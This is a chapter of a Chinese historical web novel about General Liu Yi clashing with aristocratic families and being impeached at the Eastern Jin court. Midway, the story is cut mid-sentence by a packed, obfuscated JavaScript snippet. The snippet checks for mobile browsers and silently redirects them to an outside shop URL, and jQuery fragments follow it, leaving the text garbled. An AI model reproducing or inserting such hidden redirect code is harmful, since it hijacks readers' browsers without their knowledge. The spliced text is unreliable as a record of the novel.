起初,人们只当是建军将军例行检查,谁也不当回事;毕竟,京都是各大家族的京都。
自衣冠南渡以后,皇室失势,元帝在建康举步维艰,他靠着江南士族的扶持才稳定了局面。可以说晋室的皇位有那些世家一半的功劳,历任帝王几乎无人敢挑战这些家族的权威。
可是,谁知道这个出身低微的小子,竟敢将各个家族在北府军历练的年轻一辈连根拔起,丝毫不给这些家族留情面!
“叔父!这个刘毅可是在打我们褚家的脸面,您可要不能不管啊!”那位被杖责三十的尉官拄着拐向褚武江告状,一张被酒色掏空了的脸因为愤怒而浮涨,有点像滑稽戏里的丑角。
虎贲中郎将褚阳宇这时候已经散值,他陪在父亲的身旁,勉强忍住笑意,心里却觉得,这样沉湎酒色的人,如果是自己,也绝不会容忍他待在北府军中的。
“这个刘毅太可恨了!我们家那位兄长,是个极为风雅的人物,不过是看些南华经,偶尔修下道家的辟谷术,这可是我们祖上留侯的遗风,怎么能这么粗蛮地对待他!?”张金鸾向未婚夫郗锦安抱怨。
郗锦安看着张金鸾愤愤不平的面容,静静地等待她说完。
但是他的心里却在想,他们张氏一族自称是留侯张良的后人,怎么留侯的智慧一点都没遗传到呢?军中哪里是修道的地方?留侯那是为了功成身退,他跟随汉高祖征战时可没见过他修道啊….
妄图攀附留侯抬高自己的身价,可惜,他们的庸俗是怎么都遮不住的……
“你说,该怎么办!我的兄长就这么白白被打了?你说嘛!”张金鸾撒起了娇。
“啊!”郗锦安回过神,举起右手,这双手已经无法再写出令人惊艳的书法了,但轻轻撩起女郎额前的碎发还是轻而易举的,“金鸾,陛下最宠爱贵嫔娘娘,只要娘娘向陛下哭诉,那个刘毅还能有好果子吃?”
而我们那位被连番吐槽的建军将军刘毅,此刻身在虞府,心情甚至还有些愉悦。
是的,因为他要见到一个人了。当然,他的理由是探望虞仆射。
虞府一切如旧,可刘毅的未婚妻虞乘月却不是记忆中那明艳娇媚的模样。
“乘月见过将军。”虞乘月款款行礼,暗花褶裙荡漾着胭脂色的波光,衬得她的脸色有些苍白。
“乘月,还不为将军斟茶?”虞仆射比之前的几次见面都要殷勤。
“将军,请用茶。”虞乘月微微颔首,噙着恰到好处的笑意,顺从而疏离,这让刘毅想起了曾经看过的木偶戏,美丽却没有灵魂。
“谢过女公子。”刘毅双手抱拳行礼,态度恭敬,一身干练的玄色绔裼,与京都士族飘逸的大氅截然不同。
“上次之事,多亏有将军相助,才能保得乘月平安。是乘月有错在先,我已经将她禁足,让她每天抄写女戒反思,直到你们成婚。”
虞仆射知道,女儿与人私会,任何男子都不会不介意,与其等他们成婚后这件事成为女儿被人拿捏的污点,还不如自己先将此事说开,并给足致歉的姿态,如果刘毅言语中有轻视和贬低,即使于家族无益,自己也要考虑要不要将女儿嫁给他了。
刘毅的余光看向退于一隅的乘月,方才接过她递来的茶盏,客气疏离之感和那天晚上遇到的害怕又依恋自己的女郎全然不同。他突然怀念起那个不算美好的夜晚,那个在自己的怀中瑟缩发抖的女孩。
刘毅郑重地说道,“乘月年幼,不知世事险恶,故而被奸人所惑,这不怪她,请大人不要再责罚于她了!”
此言一出,虞仆射睁大了眼睛!他原以为最好的结果是刘毅会云淡风轻将此事揭过,哪里会想到,这位年轻人竟然为女儿求情。虞仆射也不是傻子,刘毅的言辞恳切,并不似作伪。
乘月低着头,这是她第二次听到刘毅说出这样的话了。那件事情发生后,父亲勃然大怒,母亲虽然心疼自己的遭遇,但也有些责怪自己的意思。
从小到大,人们总是以世家女的标准要求自己,她好像是被套在壳子里,她的笑容、语言、步伐,一举一动都不能出现纰漏,她已经快要忘记真实的自己是什么样了。
而在和刘毅相处的不多的时辰里,她却能哭得不成体统,笑得恣意盎然…….
虞仆射满意地看着眼前这个英姿勃发的青年,起码他不是一个古板的不通人性的人,女儿未来的生活,不会太差。
“你此次回京,可是为了北府军?”
“正是。”
虞仆射沉吟片刻,“京中形势复杂,不比丹徒,还是不要太较真,给那些人一些面子。”
他太清楚那些家族的子弟们是怎样的作风了。眼前的年轻人从尸山血海中厮杀出来,恐怕很难容忍。可是,水至清则无鱼,要想在官场上活下去,他们都不得不违背一些原则。
“谨遵教诲。”刘毅从善如流,心里却想,晚了,该得罪的都得罪完了。
天子所在的宫殿是显阳殿,这里的朱漆梁柱龙纹环绕,较之含章殿的清丽婉约,更多了些威严庄重。
显阳殿是天子的寝殿,一般的官员是不能来这里的;但这次,天子将刘毅召了过来。
“爱卿,你看看,这些都是弹劾你的奏章。”
天子的御桌前堆满了奏章,天子翻阅后,发现它们只有一个主旨——弹劾刘毅。在天子的记忆里,这些家族还从没有这么齐心过。
而他们弹劾刘毅的理由,总结起来就是说他凶狠暴虐,毫无仁爱之心,不堪为一军之统帅。
“陛下,这些人尸位素餐,搅乱军纪,严重影响北府军的战斗力,如果不管,那么我们怎么能保卫京师,保卫陛下呢!?”刘毅不肯低头,那倔强的样子和六年前他毛遂自荐,申请挂帅征讨孙恩时一模一样!
那时候,所有人都不相信,一个毛头小子,能平定那声势浩大的五斗米教叛乱;而刘毅也是像现在这般抿着嘴唇不服气,不管其他人如何嘲讽抨击,他都眼神坚定,不肯低头。
天子那时也是年轻,竟然觉得这小子可以!一向犹豫不决的自己,竟真的任命他为讨逆将军,北府军任其调遣!别无他法的摄政王司马逊,也只能默许。
而后,刘毅果然没让他失望,即使那些世家子弟不服气,各种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285909|198435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小动作不断。但刘毅足够智慧和果决,将那些阴谋扼杀在萌芽之中;也足够勇猛,指挥着北府兵屡战屡胜。他平定了叛乱,一战震天下!各地的军阀和世家贵族,也噤声了不少,天子也因此获得了更多的话语权。
现在,他们好像又重回了当年的场景。质疑,弹劾……可是,有几人是为了这个国家?
“坎坎伐檀兮,置之河之干兮。河水清且涟猗。不稼不穑,胡取禾三百廛兮?不狩不猎,胡瞻尔庭有悬貆兮?彼君子兮,不素餐兮!”
天子轻轻敲动着檀板,缓缓吟诵起了这古老的歌谣,歌声悠扬而忧伤。
连刘毅都被这曲调所触动,眉眼和缓下来,周身不屈的气息也渐渐松动了。
一曲终了,天子叹了口气,“爱卿,我知道你的苦心,可是他们的势力盘根错节,连孤都要礼让三分啊!”
“如果陛下是让臣放松对北府军的督察,那么臣请求撤去建军将军一职!”
还是那么的刚直,但世间之事,都是过直易折的。
“我怎么会撤去你的职位?!你就去认个错如何呢?”天子无奈地建议道。
“臣忠于陛下,臣无罪!”
“那就只跟张家的小子认错呢?”
一帘之隔的另一间室内,是他的贵嫔张氏。昨夜,张贵嫔缠着自己,哭着要自己为她那个被打的侄子讨回公道。天子的头又疼了,“你也想要朕治刘毅的罪?”
“陛下,妾身只有这么一个亲侄子,怎么能任由别人折辱嘛!陛下要是还疼妾身,就为妾身做主嘛~”
“别人?刘毅可是朕的建军将军!”天子的声音中有些隐隐的怒火。
张贵嫔是个乖觉的人,她不敢再说话了。往日那种流动的缠绵似乎凝固了,气氛不太令人舒服。
好不容易有一个放松的地方,天子不想自寻烦恼,“明天,我让刘毅进宫,让他跟你们道个歉”。
这也算给了张家一个台阶,张贵嫔不敢再提什么要求了。
可现在,刘毅连简单的道歉都不肯!张贵嫔躲在帘子后,手帕都要被她搅碎。
“爱妃,你也看到了,这个人性格太耿直,不是我能左右的。”
刘毅回到位于建康城南的住宅,褪下厚重的朝服,也暂时卸下了这一日的疲惫。虽说他性格刚毅,可连续多日的弹劾和天子的无可奈何,让年轻的建军将军也有了些许忧虑。
也许自己真的不应该过于执拗,有些事情,不是凭自己的一己之力就能扭转的!
“将军,这是今日午后有人送来的信。”
刘毅接过信笺,封面上绘有一簇粉色的桃花,格外显眼,明显是女郎所用。
整个建康城,除了她,还有哪个女郎会给自己写信呢?
沉闷的心忽然有些喜悦。
他打开信笺,将折叠的纸张铺开,映入眼帘的是一幅活灵活现的市井风情图。
画中一位年轻的士卒,蜷缩着身体,浑身血痕,看起来已经是奄奄一息了;一个穿着盔甲的武官,满脸怒气,高高举起马鞭,眼见马鞭就要落于这可怜的士卒身上......